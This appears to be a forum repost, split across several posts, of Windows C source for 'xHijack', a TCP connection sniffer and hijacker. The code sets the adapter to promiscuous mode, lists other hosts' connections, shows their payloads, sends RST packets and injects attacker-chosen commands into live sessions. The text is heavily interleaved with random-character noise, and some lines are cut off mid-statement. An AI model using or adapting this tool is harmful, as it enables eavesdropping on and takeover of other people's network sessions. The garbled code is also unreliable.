} ! B& G% o+ B. H- e8 @7 V

, F" V) ?: q: o; i//
9 z& y  Y; [8 q9 D//功能:处理Ctrl+C和Ctrl+Break事件
( Q4 F, A4 ?* g/ z//
9 n' ^( U& \+ A: iBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
8 L. o$ K) y: z  B{ ! G( t* Z; }( Q( P/ R  q5 M' z
  switch(dwCtrlType)
* D5 |6 @+ M; c3 w' F; D. {" w  {
% C1 a5 t, q: Y: X) d    case CTRL_BREAK_EVENT:
6 ?; e3 F( s/ i+ C      //reset action all flag / F" t% u' a+ N; z! C3 c" |) _
      ResetActionAllFlag();
3 O8 {- B) V* o( q0 m3 Y3 b      break;
8 a6 @7 E" R' d    case CTRL_C_EVENT: ( f( x% D9 }: H0 s' G' M
      //terminate all thread
$ q+ x# j% Q" s3 H      TerminateThread(g_hThread[0], 0); 4 L. r, _7 V- n; @- e; S9 {
      TerminateThread(g_hThread[1], 0); 2 _. O5 W; ]& r4 P
      TerminateThread(g_hThread[2], 0); ) @, \$ W' A  Y) u, z& |6 c* \. K# C8 w
      TerminateThread(g_hThread[3], 0); 5 U. k) z6 y$ z5 i: A
      break; 2 F( Z& g4 f& d$ `
    default:
; o! C4 h( s* P$ X1 g, \3 z2 d      break; 7 m* p/ ^- y/ ]1 l
  } 4 y* z8 F. S6 M. M& t
  return TRUE;
3 O0 @( Y( @( \4 S& A  y# d8 Q! e1 H}
5 D3 t) F: y3 P9 B+ \8 U. f; ~4 ^( W% i5 O! ?
// # d6 j4 D1 Z0 m) i
//功能:处理用户输入
) p, e! F& N! `1 r( f3 a* [5 v" a$ a// + U% R0 ]! c; d, q& b( p2 |
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
4 I, k* s8 _0 S{ / j) U& Y9 `0 f9 M; L! \6 y, {: Z3 K
  DWORD  i; 9 O3 u. _; c0 l' B: j' \5 n
  char  szBuff[16]; & K+ H' o5 h! n' m3 U, ~: P  g

5 Y) m$ H0 {- J+ J& l# M" O, g  *lpCommandPos = 0;
3 H7 x5 k, X( u" Z  for(i=0; i<15, i代码比较乱
& N6 {+ }4 S, L& C- c// ' ^7 P4 B' m7 R+ I7 G
DWORD WINAPI InterfaceThread(LPVOID lp)
) x! ^5 \1 e* n& U# o( R{ 8 s) Q. L# r; M2 k6 O+ ]  M
  char  szHelp[] =  "l\t\t<-- List all connections\n"
# {  O' o$ ~. t/ Y4 z            "r x\t\t<-- Reset the number x connection\n"
3 W- Z, ^- E+ @  F- J  Q& c            "w x\t\t<-- Watch the number x connection\n"
* m* a7 f+ s  R' _5 H! i  b            "h x command\t<-- Hijack the number x connection to execute command\n"
( d$ {# h+ X6 N# t            "[Note]\n"
6 D4 Q' ]: k! H+ ^- _. a- s            "Ctrl+Break to clear all action\n"
+ M( Q6 c3 j  [0 Y- Y9 N            "Ctrl+C to exit\n";
$ D6 r9 ?% t5 z  char  szPrompt[] = "\nxHijack>";
/ V$ @$ U5 Z1 [0 j8 |$ L$ P7 l" z  char  szBuffer[128]; & [5 O4 U, K/ \/ N0 ]" t+ e
  DWORD  dwPos;
8 Y+ A' t1 \( M, H( h7 K) A  PCONNINFO  pTmp; 8 N' n8 N( G( i& p' N  A
$ q# G# a0 o1 L4 |
  while(1)
) L8 D2 q) x( X) z3 _! H. w  { ! u( A% L* B8 }) h/ [4 b+ Z- f, s5 B
    gets(szBuffer);//不考虑buffer overflow * I4 W. i& I& r8 k# F4 ~
    switch(szBuffer[0])
3 ^. `$ s; Y- E    {
6 S* ]6 q7 J* Q* k; b      case 'l': - t1 q# [1 K1 ~
      case 'L': ; o+ G% `. v& ]" t, V2 d
        ListAllConnection();
9 J+ K2 [) Y+ c5 e' @        break;
* N' ?  b" b1 f: Q  E      case 'r': & L" Q# z( r6 K6 v
      case 'R': , ?3 h# f2 x9 I" D! x4 A6 f
        if(strlen(szBuffer) >2)
  G1 b8 h- X% S! d        {
/ ?, J$ i8 R. H; B( }* Q9 z5 g          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
/ [1 T& m; L# @3 \$ v" v          g_dwAction = ACTION_RESET; , V' \, i6 N, l# ~2 _
        } 9 k. ?; x; Q: ~
        else printf("%s", szHelp); " _9 X9 Q+ T* `& ]3 Q8 {
        break;
/ }, h# f$ C# [8 y% g: x) t" `      case 'w': : _5 ?) `; r8 V* |% l0 H5 J# ^
      case 'W': * Y' g5 U# H9 _  P: e$ ]7 c: I
        if(strlen(szBuffer) > 2)
* b/ `9 h- s5 S/ I# H9 g* w' C        {
0 N. k4 z& l3 F          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 2 F) m% z9 `7 }' t" \& o
          g_dwAction = ACTION_WATCH;
2 g' A; P3 r# M5 g, Q8 n        }
) t2 I: O- D# m5 ~8 S5 _' Q6 A        else printf("%s", szHelp); ) i' V2 Z+ I) R6 D4 S
        break; / w" E* S1 z2 \/ _: Z; w6 J6 l
      case 'h':
; w5 \. y9 h+ n; D: f3 F: q6 C      case 'H'://h 1 xxx 1 v) O# D# T9 k# }
        if(strlen(szBuffer) > 5) ( k" ~$ R9 f3 K3 V
        {
; R; O" b4 P3 Z3 R0 R: I. t1 E! q          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
3 A( X' e6 }8 I* h" ?* Z          //如果command第一个字符是'或" & m$ q# ?2 P- `  r; t+ ]; ~. |
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
: }- Y/ v! B% g& g          {
6 M' D* B5 K" H* P2 u! G            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); ) s6 @/ Z* S4 `- v# N; h+ n
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
( O6 s6 w9 ~% n- R) |, b          } # u* _" _0 e1 f6 P( _; v8 Q
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); ) g' ]5 P1 p6 u( i# B0 F2 _% r% p
          strcat(g_szCommand, "\x0D\x0A");
& h1 ~$ h" K3 a          g_dwAction = ACTION_HIJACK; + q; d; c: f3 j8 G6 q3 b0 ?) X
        }
: p2 I( T1 D: T% Q$ q6 e        else printf("%s", szHelp); ; g. i! `0 G( S
        break;
. {' s7 H9 S( W+ L$ L      default: . X% X3 `, _9 q' F( i& y1 I" A
        printf("%s", szHelp); / ^6 \, R' b( l# M( }
        break; 5 S1 j2 l% e. J/ R
    }//end of switch
' n8 t% \$ G9 R. G. |    //find the specify ident's struct point 1 h2 q; \: J6 w$ M. p' C
    if( (g_dwCtrlConn) && (g_dwAction) )
) M) t7 i6 _2 k    {
$ b) e( V" A- n- e% {3 Z4 P- m      g_pCurrCtrlConn = NULL; & q% ?! J  \9 M- t! K' S
      pTmp = g_pConnHead; ' c* n$ R" z; P& {" T: w8 V
      while(pTmp)
+ {) X8 t- k( |9 ?( g$ M+ ~      {
! J: o) Y3 t3 M        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) ) v$ }6 R9 }" b! v0 S8 h
        { 1 Z- l( [8 U7 a" l- ^, E) b/ w
          g_pCurrCtrlConn = pTmp; ; h" I( [! ?$ Q
          break; 3 j% d8 o' C* L  [# i/ [+ @; e
        }
# A$ I% @% G# B# t3 q        pTmp = pTmp->Next;
) f; ~% I6 [" ?9 k+ y      } + u; {6 r* s, R* C: k( |% v
      if(!g_pCurrCtrlConn) % a* g. b! R& k# x
      { ; f+ @  ~) g; y' N$ U6 h1 F% c
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
4 {, e8 G% }' s1 E  z6 V5 ], ?' \        //reset action all flag * j  n7 M; C. [8 p8 A3 \4 A: g* H/ ~
        ResetActionAllFlag();      
) P, a9 J" X' P( F8 G      } $ z8 Q  w) K0 h' r5 }* B
    } ) t% N; m" C9 M, G
    if(!g_dwCtrlConn) ResetActionAllFlag();
: B- o% ~) B: g; Z- K4 i' }    //显示当前用户所期望的动作 9 C# d& K! u/ D
    printf("\nCurrentAction:"); & {& a( m) J7 |2 l2 T4 m9 X
    switch(g_dwAction) % b& |% z% f2 f1 T2 r( Z  C
    {
' j7 B" W0 t! S      case ACTION_WATCH: 2 d; B7 `/ Q* R4 Q
        printf("ACTION_WATCH");
9 v9 [, [9 Z/ ~, r6 T1 F4 Y        break; / E' ~5 L3 x5 u3 w  _) S% f
      case ACTION_RESET: * F* F/ A7 Y4 k& F- ]5 Y0 ^
        printf("ACTION_RESET");
- z' p4 c5 n  k6 w3 ^1 v! w        break; * ^8 v% r  d7 u
      case ACTION_HIJACK: 7 v/ a, s  q* [3 [7 [3 v
        printf("ACTION_HIJACK"); / {' H0 B7 G# P6 V
        break;
. i/ E# d0 H- H$ b      default:
" i: L  J8 Q$ b5 {9 f8 r3 z6 j9 S) X        printf("ACTION_NONE"); ' ?( s: s! f' G. Y: l' T2 Y$ @
        break;
: ?: B% f2 o. ]3 H    }
+ ^4 H) ?) i1 W' g; ~    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); 1 \- k3 H* A& A7 |5 `' I# x, T4 v) {6 ^
  }//enf of while & L  @7 s5 y8 J' T3 c; Z
  return 0;
  `' q! c2 r$ p' C. u* C7 C}
作者: 韩冰    时间: 2004-11-21 01:46
// . }' p& B1 L0 P* c//功能:列出当前所有连接 4 P# G7 K, W( b1 E// # |* p) P2 F# D' A+ L void ListAllConnection() 5 f# e7 U" s1 M- J9 n" `{ : V" s: c, F! z4 l PCONNINFO pTmp; ( Q3 x, j" P" n; @ SOCKADDR_IN saDest, saSource; - O y5 [% V2 K$ Q7 | pTmp = g_pConnHead; 8 K% ~ X6 E& V- c, w k while(pTmp) m2 |- J" C1 B% I; Q) X8 V { 9 c1 h) u# O5 D. Q5 \6 k1 V if(pTmp->bActive) * N2 T2 V8 [5 b" F, g { , q! x- r" F) `' V; E8 w saSource.sin_addr.s_addr = pTmp->dwServerIP; + e) [: }" G* ~ S5 a0 w3 @+ F3 l saDest.sin_addr.s_addr = pTmp->dwClientIP; - a" U; A4 g5 i, [6 M3 N& s8 t* u9 Y printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), " _+ ]0 r S& s* _! u J ntohs(pTmp->uServerPort)); " n8 O( ^& X* j* p+ d" h printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 1 P5 \& b9 K/ ]+ N) a# D8 E } . m9 {# V) T8 ^$ k; x/ n, G5 Y+ H8 _ pTmp = pTmp->Next; , C% K2 l# W8 y+ s } , Z% J: X4 {! S. `} ( c) f+ b5 G; `) R7 O2 x ' h' G1 g0 d' a, T: x( h+ X# B+ r// , e2 O- g! B# s" F4 Z. Z( P//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 # s K5 N J7 N- C7 r- u // ! [$ g6 z% Y; X: c9 ], PLPADAPTER InitAdapter() : ~) ` k. a9 l: k0 O{ * @( W# z7 T% f2 R& Y, q0 b LPADAPTER lpAdapter; 0 E" s; @4 y1 l* ]: L static char AdapterList[Max_Num_Adapter][1024]; : s; o8 E8 i2 }0 s: j char szSelectAdapterName[512]; ( Y, r$ ?5 o% o( A& s- n& Q WCHAR AdapterName[2048]; 0 \ |; Z0 K* M5 X3 p, y7 v WCHAR *temp,*temp1; - m- b$ H2 N9 o6 A1 C8 | ULONG AdapterLength = 1024; ( E# m5 T+ ]. C2 w" L6 X int iAdapterNum = 0; # a# Z9 ?/ s7 }: I int iRetCode, i; 0 E5 K! Z# F/ @8 i) a( b int iAdapter = 0; ) g# Q0 @8 L1 |7 M& @ ULONG ulLen = 0; 1 O2 i7 W* _' w7 _6 ]' c! k DWORD dwRet; * ]' v+ \ D$ I' }! W- N: A PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; ! `3 w: Q7 W7 t# u2 a: ^ PIP_ADDR_STRING pIPAddr; 4 v/ C1 ?& w% s- F& P' w8 i( \( G ! V: G3 O6 Q0 l U& a1 \8 a //Get The list of Adapter 7 ` T/ X/ g# r# c% s if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 2 x; b( u1 q9 u J4 F, } { 3 m5 {9 A( Y& J printf("Unable to retrieve the list of the adapters!\n"); # \2 a/ b6 b$ q: b' P7 U- | return 0; 2 i2 ?5 e/ E# x* L' M5 T% @ } 3 m2 q' Z/ g- _" M6 ] ] temp = temp1 = AdapterName; 7 j. A& A+ B& a3 j, o i = 0; 8 p1 K: a' U8 u+ v B while ((*temp != '\0')||(*(temp-1) != '\0')) 5 j5 ~1 D( N/ O' @2 u; P/ i { : r% @; \7 ^$ r2 p7 B7 p4 u if (*temp == '\0') ( w! V3 w$ N$ q' K" l5 X8 _ i9 `& u { , V0 T# o6 P. Q; z+ f memcpy(AdapterList,temp1,(temp-temp1)*2); 9 H$ s3 L+ N" }% C, y printf("%d - %S\n", i+1, AdapterList); ) V% I0 d4 J2 [% m% B temp1=temp+1; % x+ W5 M* _2 u U$ B o4 [ i++; 4 r: K5 r3 Q; K% Z) G& j) ]. f } / L/ l) s- i/ c! G) j temp++; ; }; Q; K( [9 W4 u5 X } + o/ ?* U" c" i C6 ?. A4 [+ u //choose adapter 4 e. W, L) I5 U while((iAdapter <= 0) || (iAdapter > i)) ( w4 [% L2 a* P+ o' P: R1 c, S. p { ( ]4 G9 i& }! `( `# W' d! k printf("\nPlease choose your Adapter:"); Q' H9 e" d' ]8 b1 T7 P scanf("%1d", &iAdapter); 2 S! k3 v6 x; \) F1 h2 [1 K- c- w0 i } 8 }) m: G* l6 G4 ^4 ` printf("\n"); 5 x6 u9 x3 i& ^ //---------------------------------------------// ' ^$ B& M: M" F8 u //这里调用iphlpapi来取得本地ip_addr和mac_addr + L" y& R3 j: W0 a0 l sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ' V7 @4 Q9 b; i9 C! L8 O! U dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! f1 b7 D: ^# W/ B( R7 V' t9 Z if(dwRet != ERROR_BUFFER_OVERFLOW) / k4 N8 t1 g% X# A0 w7 S( d; ^ { ; ^) L/ p' [" P; R! d0 @% k. q printf("GetAdapterInfo error:%d\n", GetLastError()); 0 H/ s4 Z: g y2 C( M+ o1 s! o return 0; ; K4 F I2 F \3 F W( q } # r0 Y8 W! k4 x pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); " V( V5 q) s: q% v if(!pAdapterInfo) * o7 B+ ?4 p9 F3 r { 1 l' g9 z$ R$ N) M f1 ]- s) H i printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ; R# H2 e# }" V0 \8 o' H return 0; + z3 Q X9 y x! p) p9 `1 k } ( v2 |# h8 O8 R+ V4 Q. d7 t dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! _( ~# R: C- D9 ?- }* y# k6 B if(dwRet != ERROR_SUCCESS) ! q# W) A3 D6 y5 A8 L1 T8 r/ n k4 R { . z# q* R/ s+ B3 f4 s# s1 Y5 [ printf("GetAdapterInfo error:%d\n", GetLastError()); 3 h5 L" a& L2 s% w3 p return 0; 6 K% P1 b" x/ ?" B, E' }! O" J: ^$ e } . S) \3 |7 D$ W; i* o pTmp = pAdapterInfo; & u2 |: @% e& U0 J% ?8 V while(pTmp) 3 ?7 X% {! Q% o* Z/ g1 N O/ X$ [ { ! [. f6 g4 |) Q" r8 K* x7 d //字符匹配
作者: 韩冰    时间: 2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName)) 7 Q: `4 f; W& m( V! m0 I* ?" Q { + x+ m) p: g* @0 Q& K3 W- { //found it,get own adapter mac address 4 q5 N( m- i$ e% g L9 }. C# f memcpy(g_szOwnMAC, pTmp->Address, 6); : Q6 S4 Z& X; O% [+ ` //get ip address ; R* K3 @0 K0 ~0 E- p; q8 a pIPAddr = &pTmp->IpAddressList; % `; y* N$ c5 [9 d$ C while(pIPAddr) 6 ?6 m& N2 l1 s9 v$ J" j { , Z1 Z' t0 x. J+ A g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ( X& q( N* S! A pIPAddr = pIPAddr->Next; : B5 z& N) z) ^( F6 @ if(g_TotalIP >= Max_Num_IPAddr) break; / B, i. `/ p& g3 B+ Z } % Z8 h% P) b2 { break; 0 t% V1 E7 P# T6 c } k. r& F# e+ T' z! f# i pTmp = pTmp->Next; ' r" C/ ^2 A# v4 w4 O# L } 4 u- p1 N9 t9 K0 U9 Y* j free(pAdapterInfo); , e+ S6 ~- i- e. d$ s! Z9 X" | //not found,return zero 6 U2 J, I4 {: h* ~ if( (!pTmp) || (!g_TotalIP) ) return 0; , c9 z# {7 z6 c+ X: ^3 v //---------------------------------------------// ; k n& F. r9 i6 F( h //open adapter ) |# H- }* T3 u2 U" q. m lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ( K6 T+ p* I# |" W if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ' O |8 J1 a9 g; A { # c! p0 P2 C5 O/ l iRetCode = GetLastError(); ; }6 z* i% [2 W. c$ b printf("Unable to open the driver, Error Code : %lx\n", iRetCode); # a2 q2 _+ K9 ] f0 V return 0; : H( `' D* f5 G! y/ G) |0 P1 w } J M5 H3 o* n/ K // set the network adapter in promiscuous mod 1 ^) W$ K* X* e if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 4 D9 F* C( k+ ?: V- z0 ` { ; I7 c5 A2 M: \) \! k printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 2 e8 \0 k; b3 z6 R, L if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 5 m1 c& Q. [+ j- {7 ~ { ( G0 f1 Y" l' t S5 }5 R& T printf("Unable to set ALL_LOCAL mode!\n"); # W/ x4 m1 }, `5 k. G; Z2 a return 0; * H1 R% l6 S& w5 {3 W1 Z+ ~ } ; W% B- h5 O7 O _' c } - v ^4 M$ x# p& ]) {" A // set a 512K buffer in the driver 8 k# C0 j& F7 C$ e6 p9 b8 r if(PacketSetBuff(lpAdapter, 512000) == FALSE) 8 S& [8 o. m( j* {0 v# P; V# v { ' G% p9 ]0 h$ m J5 Z' P printf("Unable to set the kernel buffer!\n"); ) M5 ]3 t% ^6 n! n return 0; , W C6 N, t+ P0 \ } 4 j- c/ x/ O( E // set a 1 second read timeout 0 _: G8 H0 o( _0 E# d3 w8 n8 g if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) - l/ ~& l) C* \' x4 B, g printf("Warning: unable to set the read tiemout!\n"); & r2 f1 y- N1 B8 ?# |" K if(PacketSetNumWrites(lpAdapter, 1) == FALSE) " S5 g& ]+ B0 f! T printf("warning: Unable to send more than one packet in a single write!\n"); $ J8 W$ d5 }7 v( f& J5 a- S //设置发送的packet 0 O( ]0 i5 F* k2 u' p* }" f2 j g_lpSendPacket = PacketAllocatePacket(); 5 P' L8 |& n9 \$ ?2 O% ] if(g_lpSendPacket == NULL) 6 J% D% ?6 q0 Y. Q { $ g" V2 P$ o c8 r. v I! ?2 ^ printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 3 n) Q& R5 H) e3 E return 0; ) u+ s2 I/ [) f ? } 1 `0 M: z3 \4 u+ h, G ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ( I) G! _( i& H1 U2 Y PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 1 x, }. G, ^2 f# m ~ return lpAdapter; 7 v; C1 C- @, _6 x+ ?7 u3 t} % m/ l" c5 r4 g. I5 N 0 v0 m( Y W- ^ B& M//功能:帮助信息 ' r% R8 p* J6 k& d% c7 P" nvoid usage() 1 L4 ]" G; _2 `) M1 V8 ?% T8 _9 ]{ / V, p( N# I+ x printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" , d; o, t: r7 }5 f& l; B0 } "By eyas 2002/8/19\n" 6 t1 M' X5 d8 r! ~# ` "http://www.ey4s.org\n" + R9 p/ [2 }% g, ? "Thanks to Refd0m and shotgun\n\n" . {% d& N. {) K3 F5 S4 f+ o l "Usage: xHijack ServerSide ClientSide\n\n"); 6 _$ {% e/ B z, { P6 o% I} 6 z* P$ E9 z+ T) I4 P 2 w# K; I6 Y1 t0 t* A // 9 z' B9 n7 u; S% @//功能:显示数据包的一些详细信息 : `0 M) o8 ~7 S$ a2 m5 J. o3 C // # Y. L0 d4 B2 k VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 2 O$ N5 H5 J( E( ~{ 3 y$ j# t) j8 I3 C SOCKADDR_IN saDest, saSrc; . x4 Y5 ?2 u% ^: w, L/ g) g unsigned char FlagMask; & B6 B0 R% w4 w. Q9 ^: n. T0 c1 v, Y) [ int i; ) P0 m7 T- P1 k& ?$ H/ T ; z1 ~1 o# k2 ~6 |5 H/ |* w3 G saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; + z: I8 r- m5 {, d$ \1 ]- ` saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; + F* R+ w/ @4 }6 ]" a* u: S: m printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); . E) F) x! g" z8 |/ Z& ?& g, g! D printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), / P' l" p+ Y% G; y% |! `6 A ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); % f( T1 M) L. O& i1 @1 E. M //display TCP flag ! O# N+ D/ P. S$ d0 g9 C for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) % H9 p b9 v, o" ]: l" } { ( V! }6 l- d: c4 j9 ]5 X if((pTCPPacket->tcphdr.th_flag) & FlagMask) ) q) I! y7 Y i printf("%c", g_szTcpFlag); + h: ~( \4 H' Y: _( \ else printf("-"); 6 y8 @# q* h) J } 1 ~4 M/ x8 p5 R, j. B8 j printf("\n"); + F9 c+ U8 X. V //如有需要,可显示更多详细的信息 * [) W4 b g5 R* m" e) @: @ if(bDetail) & l8 X* @# g0 D6 T5 \# X( L2 s printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); & I( {3 Q/ T$ t/ u } b) W% ]# k' J: s' z 8 `/ |/ L- P. L" j6 h // 5 Y( L7 x; H9 z$ R//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 # _ G: N- n$ `9 K3 K0 q- e. C // $ _! h3 H7 f" i2 z, d: q4 Y DWORD WINAPI AnalysePacketsThread(LPVOID lp) ; d" F) s' X- n { # |7 k4 Y+ z& c/ Y ULONG ulBytesReceived; 3 k$ t* Q0 w( n1 y2 j USHORT usDataLen; : T0 J& z0 f7 G: D0 s //USHORT usIPHeadLen, usTCPHeadLen; 9 W$ [7 ?) p0 F; U$ \! {$ e char *buf; 6 ^7 _7 B" E/ ?( _: B- D u_int off, i; # o, [7 B; G6 ]7 k3 l+ T' X( d PTCPPACKET pTCPPacket; ' b: S; o) N9 P struct bpf_hdr *hdr; 5 \5 }* F# z7 G# R LPPACKET lpRecvPacket; / y, H, n* w- E5 { char szPacketBuf[256000], *pStr; ) ~( i6 |9 p/ j9 b b- _5 a' z BOOL bDeleteNode, bAddNew; 6 y0 ~1 o) W3 ~, f DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 }; z6 y" w* l* s4 x7 R9 B BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ! [0 E+ l$ r6 H6 T; Q @9 N( `# v( s C2 M# W- b% L) @( v6 ?: ]# [: d //设置接收的packet 5 B. |; I9 l l/ q2 Z9 {3 D. `9 F lpRecvPacket = PacketAllocatePacket(); l( R9 \$ v4 M' W if(lpRecvPacket == NULL) 2 ?1 n' W% j# k# w$ Q' `( H' Q { " B# i3 e6 y) f3 M printf("Error:failed to allocate the LPPACKET structure for recv.\n"); + Q( R0 D1 K m4 o5 N! P return 0; ; Q& V; G" q. J: H/ t& D } / g( v4 z) t8 L5 J4 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 3 `% X1 \7 l: r8 n" |9 \% a* _5 M PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 7 X4 A/ r0 E- V3 ^5 n while(1) * m1 \1 w) J' r- U1 W- c& \( z( O { I) X' x4 K$ y9 m% x& A8 ~; w // capture the packets ' x$ Z( j0 ]: u: C; x, e if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ! `2 b5 u# X$ @- D; d8 f { ' i! l% a1 d- ?+ p printf("Error: PacketReceivePacket failed.\n"); 3 w% |5 L& }$ C" Q break; . i0 w! T, J! Z, A7 M$ Q" u } : ?3 X8 o7 W+ C) c0 g8 I: T ulBytesReceived = lpRecvPacket->ulBytesReceived; " K' p; z7 P' Z, I% R1 S$ Z buf = lpRecvPacket->Buffer; ! B* ~5 F( x+ Z. B" C off = 0; ! N$ f' T/ a7 X( L2 o K l8 Z while(off < ulBytesReceived) 6 L. J4 {! Z/ e { " l+ V7 Z" v4 Q; O+ B4 l7 e6 J hdr = (struct bpf_hdr *)(buf + off); : }7 P% ~1 c6 l5 e7 u off += hdr->bh_hdrlen; 7 k, M; _6 a O! {- E pTCPPacket = (PTCPPACKET)(buf + off); 6 {9 X0 o7 t3 J9 @1 l- {: K: t1 U" R off = Packet_WORDALIGN(off + hdr->bh_caplen); . D! h& d2 j% W* l! T2 {, K //不需要处理自己发出的包(转发或本机发送的) ! s) B9 F3 _- i9 y" j# n' a9 ? if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 4 u9 t8 y+ y3 @6 F; L0 B& h3 d //检查是否IP包 5 t4 J1 @* c: ~4 ] ~$ M8 r if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; - u! X/ R- a9 y7 B+ m9 X! B. _ //检查是否TCP包 ( S/ y% C. Y+ o! A* V4 R if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; : h8 b/ Q& c' v- a- Q8 Q //也不处理DestIP是自己的包 ) @" W2 L5 R. j for(i=0; i
作者: 韩冰    时间: 2004-11-21 01:47
pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 8 q+ b1 h4 w  E/ e
            //reset action flag 9 H0 T4 X/ Y  G$ H" u9 L4 K
            ResetActionAllFlag();
) g. s/ P6 D( _- u; o          }
6 m& J9 K" Y$ t( E4 I, Y" j( _, W$ b9 ~          //start hijack ; p$ a, O  C: x6 {: f- z/ t3 _
          else if(g_dwAction == ACTION_HIJACK) 9 k& v5 T3 R. X. {
          { * n( N8 `% X4 ?7 p# t! k+ n  D# E
            //send rst packet to client , B* f7 V3 Q% ]& R( q8 g$ I
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); 1 M6 O9 p; v2 b  t/ B; t& k% b
            //send hijack packet to client
% _! f. l, s; R8 P+ D1 P            SendHiJackPacket(pTCPPacket);
$ F" c1 {( u  T% x! i9 ^; G$ c            //reset action flag / \8 x4 w+ n0 W
            ResetActionAllFlag(); 6 R9 H3 r! }. a: e3 X
          }
3 i$ T; T3 `; {        }
) [( e' h( [$ R8 e        //show the tcp data
, I5 C3 K" D$ ~% j0 t; y+ e; T        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
% X, l. L6 x, J; \. o        { 8 X; ^, i. J- ~- q0 g  m+ z& K
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); * z" e- z$ ~5 z. W/ J7 ^
          //暂不考虑IP、TCP头不是20字节的情况 0 e$ r" a$ W4 P# M, ?. T8 l$ f% U" A
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
9 n" R" ~9 t8 D7 L! n! {3 |* U          pStr = (char *)pTCPPacket + 54; . f& w# w2 s+ b9 ?
          for(i=0; i        }
- m. N( D. a" P* Y7 }" _& }      }
. `5 w, ?9 Q& H      //debug output
7 U# V( H3 g! f6 T- H, e/ D      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
* v; F4 L4 F% r5 e$ m) k    }//end of analyse packets while
3 }1 {8 {; A! `5 C+ i' R6 c. Z* G  }//end of recv packets while
+ }& D. O& a5 C5 C. {  Y7 f  PacketFreePacket(lpRecvPacket);
! Q9 g: u: E2 R: m4 U4 g3 I' Y& Z: p  return 0; $ v/ b  l) O* }' F
}
& u# B' O* \$ i+ V, J6 b7 S3 a) j9 T) N* Q
3 f3 W4 D; X" X6 f
//
8 k# C  e- w6 Z//功能:操作记录所有连接信息的单向链表 ( ^/ r# }6 o! T1 z0 Q
// " s4 r$ |1 f+ c8 T8 O. y' [8 R
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
2 A1 Q' d7 m5 M) R            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) 1 b4 T/ U8 V9 D4 I2 j# V
{ # l6 ~8 F& o% L8 S" Q
  PCONNINFO  pNew, pTmp; 0 Y9 T% J' ]; H6 k. P7 r
2 y+ @9 Y; q  \. s* O1 q/ h1 ^
  pTmp = g_pConnHead; 0 t! E! ?& Q8 n0 F1 {6 F3 D
  while(pTmp) 3 [0 _6 d4 L8 }
  {
